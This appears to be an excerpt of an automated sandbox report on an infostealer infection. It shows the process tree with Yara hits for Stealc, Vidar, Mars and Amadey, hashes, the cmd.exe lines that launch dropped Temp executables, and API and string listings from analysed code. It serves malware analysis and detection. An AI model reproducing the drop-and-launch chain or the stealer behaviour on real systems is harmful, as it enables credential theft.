Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:34:12
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:34:12
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:34:12
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCGIJDBAFC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:34:12
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:34:13
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"
Imagebase:	0xbd0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1848584876.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1890786715.0000000000BD1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:34:17
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x7a0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.4105906252.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.1890726036.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:34:17
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x7a0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1898459862.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.1938648063.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:34:25
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe"
Imagebase:	0xd20000
File size:	2'531'328 bytes
MD5 hash:	9C923D102F7688EF4E407B893FE8D448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:34:28
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe"
Imagebase:	0x2e0000
File size:	1'166'336 bytes
MD5 hash:	619F9806AB2FAD61F931922DD30EDE7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:34:28
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:34:28
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:34:39
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5560 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:34:39
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:35:00
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x7a0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2314930724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2355364532.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:36:00
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x7a0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2919540853.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2959745900.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:37:00
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x7a0000
File size:	1'914'880 bytes
MD5 hash:	29AF55C68D51C9EF3C35850BEC56664D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.3519302936.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.3559616622.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30%
Total number of Nodes:	110
Total number of Limit Nodes:	12

Executed Functions

Function 6C4C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C54F688,00001000), ref: 6C4C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4C369F
__aulldiv.LIBCMT ref: 6C4C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4C3773
EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4C377E
LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4C37C4
EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4C37CB
LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4C3801
__aulldiv.LIBCMT ref: 6C4C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4C394C

Strings

GenuntelineI, xrefs: 6C4C3639
QPC, xrefs: 6C4C38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C4C35DB
GTC, xrefs: 6C4C3912
AuthcAMDenti, xrefs: 6C4C3946

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e3d4d48b9bd52e6d82054f9df9eaa9e452c3f1d30789d0c7f3a7d4118a931cab
Instruction ID: 2cd603c75a26bc1f679c0c4ae12f240a3b0010815c277e30061809d8fb0f437a
Opcode Fuzzy Hash: e3d4d48b9bd52e6d82054f9df9eaa9e452c3f1d30789d0c7f3a7d4118a931cab
Instruction Fuzzy Hash: 74B1B675B093109BDB08EF2CCC44B5AB7F5AB89708F06CA2DE899D7760D77098058B96

Function 6C4DC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4DC969
GetSystemInfo.KERNEL32(?), ref: 6C4DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4DC9E2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2ba210eec416d4ad4eaf9da3e991b88bf1933fa561e47bee250c337134ab826a
Instruction ID: 01c430d7059a47f874c20fd3fa97299db7a59418d70b941d165fd8fd3a6ad8c3
Opcode Fuzzy Hash: 2ba210eec416d4ad4eaf9da3e991b88bf1933fa561e47bee250c337134ab826a
Instruction Fuzzy Hash: 7521F931741614ABDB15FA28DC94FAE73B9EB86748F62411EF907A7B80EB706C048794

Function 6C4C3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4C3095

Part of subcall function 6C4C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C54F688,00001000), ref: 6C4C35D5
Part of subcall function 6C4C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4C35E0
Part of subcall function 6C4C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4C35FD
Part of subcall function 6C4C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4C363F
Part of subcall function 6C4C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4C369F
Part of subcall function 6C4C35A0: __aulldiv.LIBCMT ref: 6C4C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4C309F

Part of subcall function 6C4E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B85
Part of subcall function 6C4E5B50: EnterCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B90
Part of subcall function 6C4E5B50: LeaveCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5BD8
Part of subcall function 6C4E5B50: GetTickCount64.KERNEL32 ref: 6C4E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4C30BE

Part of subcall function 6C4C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4C3127
Part of subcall function 6C4C30F0: __aulldiv.LIBCMT ref: 6C4C3140

Part of subcall function 6C4FAB2A: __onexit.LIBCMT ref: 6C4FAB30

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e02c681bd0d315c743814793bbf582c9eef4c2fc5597f2428c19ae72597731e
Instruction ID: 8d4380505eff654bbee96c99c63c862932c0d7c647bf440df7fbfd332d60cf26
Opcode Fuzzy Hash: 0e02c681bd0d315c743814793bbf582c9eef4c2fc5597f2428c19ae72597731e
Instruction Fuzzy Hash: 93F0F922E2074496CB10FF389C41AE6B770EF6B31CF12931DE85953561FB2061D883CA

Function 007B3B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 007B3BB7

Memory Dump Source

Source File: 00000000.00000002.1836482618.00000000007A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 0065C000, based on PE: true

Associated: 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1836482618.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1836482618.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1836482618.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1836482618.0000000000B4B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3c9553342d25c76b9fac8e51c2ca0286afa6f8b77f127d09ac9b33b542b8c1ec
Instruction ID: bb40e3469a2737f91df58c53d6afae4a9c050150a32dbe8a31ea8281f14609b0
Opcode Fuzzy Hash: 3c9553342d25c76b9fac8e51c2ca0286afa6f8b77f127d09ac9b33b542b8c1ec
Instruction Fuzzy Hash: A4E0E2B6300608ABDB10CE8CD884BAB339DEB88310F148411FA19D7208C638EE909761

Non-executed Functions

Function 6C4D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4D54BE
__Init_thread_footer.LIBCMT ref: 6C4D54DB

Part of subcall function 6C4FAB3F: EnterCriticalSection.KERNEL32(6C54E370,?,?,6C4C3527,6C54F6CC,?,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB49
Part of subcall function 6C4FAB3F: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C3527,6C54F6CC,?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FAB7C

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C4D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4D5516
GetCurrentThreadId.KERNEL32 ref: 6C4D556A
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4D55E6
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4D5616

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

GetCurrentThreadId.KERNEL32 ref: 6C4D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4D567C
free.MOZGLUE(?), ref: 6C4D56AE

Part of subcall function 6C4E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
Part of subcall function 6C4E5E90: memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
Part of subcall function 6C4E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4D56E8
GetCurrentThreadId.KERNEL32 ref: 6C4D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4D57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4D5D2B
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4D5749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4D54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4D584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4D5D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C4D5511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4D54B9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4D5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4D5B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4D5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4D56E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4D5BBE
[I %d/%d] profiler_init, xrefs: 6C4D564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4D5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4D5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4D5AC9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4D57C5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4D5717
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4D5D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4D5766
GeckoMain, xrefs: 6C4D5554, 6C4D55D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4D57AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4D548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4D5CF9
MOZ_PROFILER_STARTUP, xrefs: 6C4D55E1

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
